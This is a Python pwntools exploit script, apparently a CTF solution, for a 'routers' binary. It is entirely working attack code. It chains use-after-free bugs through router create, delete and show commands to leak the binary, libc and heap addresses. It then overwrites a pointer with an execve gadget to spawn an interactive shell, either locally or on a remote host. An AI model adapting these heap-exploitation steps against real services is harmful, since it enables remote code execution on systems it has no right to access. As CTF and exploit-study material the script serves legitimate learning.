#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os, signal

DEBUG = 1

def preexec_function():
    signal.signal(signal.SIGALRM, signal.SIG_IGN)
    

os.environ['LD_PRELOAD'] = './libc6_2.19-0ubuntu6.9_amd64.so'
if DEBUG:
    p = process("./bin/routers", preexec_fn=preexec_function)
    #context.log_level = "debug"
    setvbuf_offset = 0x705a0
    fastbin1_offset = 0x3be770
else:
    p = remote("xxxx.xxxx.xxxx.xxx", 1111)
    
def show():
    p.recvuntil(">")
    p.sendline("show")


def create_router(routerName):
    p.recvuntil(">")
    p.sendline("create router")
    p.recvuntil("Enter the router type(tplink/hiwifi/cisco):")
    p.sendline("cisco")
    p.recvuntil("Enter the new router name:")
    p.sendline(routerName)

def create_terminal(routerName, terminalName):
    p.recvuntil(">")
    p.sendline("create terminal")
    p.recvuntil("Enter the router name you want to attach:")
    p.sendline(routerName)
    p.recvuntil("Enter the terminal type(windows/linux/osx):")
    p.sendline("windows")
    p.recvuntil("Enter the terminal name:")
    p.sendline(terminalName)

def connect(router1, router2):
    p.recvuntil(">")
    p.sendline("connect")
    p.recvuntil("Enter the router name you want to be client:")
    p.sendline(router1)
    p.recvuntil("Enter the router name you want to be server:")
    p.sendline(router2)

def disconnect(routerName):
    p.recvuntil(">")
    p.sendline("disconnect")
    p.recvuntil("Enter the router name you want to disconnect:")
    p.sendline(routerName)

def deleteRouter(routerName):
    p.recvuntil(">")
    p.sendline("delete router")
    p.recvuntil("Enter the router name you want to delete:")
    p.sendline(routerName)
    
def exp():
    
    create_router("123")
    create_router("aaa")
    create_router("bbb")
    connect("123", "aaa")
    connect("aaa", "bbb")
    deleteRouter("aaa")
    create_terminal("bbb", "hello")
    show()
    p.recvuntil("to ")
    main_base = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x2034f0

    setvbuf_got = main_base + 0x203888

    log.info("main_base leaked = " + hex(main_base))
    log.info("setvbuf_got leaked = " + hex(setvbuf_got))
    deleteRouter("bbb")
    
    payload = 'a'*8 + p64(setvbuf_got) + p64(0) + p64(0)[:-1]
    create_router(payload)
    show()
    p.recvuntil(" to ")
    setvbuf_addr = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
    log.info("setvbuf addr:" + hex(setvbuf_addr))
    libc_addr = setvbuf_addr - setvbuf_offset
    log.info("libc addr:" + hex(libc_addr))
    deleteRouter(payload)
    
    heap_offset = libc_addr + fastbin1_offset
    
    payload2 = p64(0)+p64(heap_offset)+'a'*15
    create_router(payload2)
    create_router("ccc")
    deleteRouter("ccc")
    show()
    p.recvuntil(" to ")
    heap_addr = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0xa0
    log.info("heap_addr:" + hex(heap_addr))
    
    deleteRouter(payload2)
    call_execve = 0xe4968
    payload3 = p64(heap_addr+0x10+8)+'a'*8+p64(libc_addr+ call_execve)+p64(0)[:-1]
    create_router(payload3)

    disconnect("123")
    p.interactive()


if __name__ == '__main__':
    exp()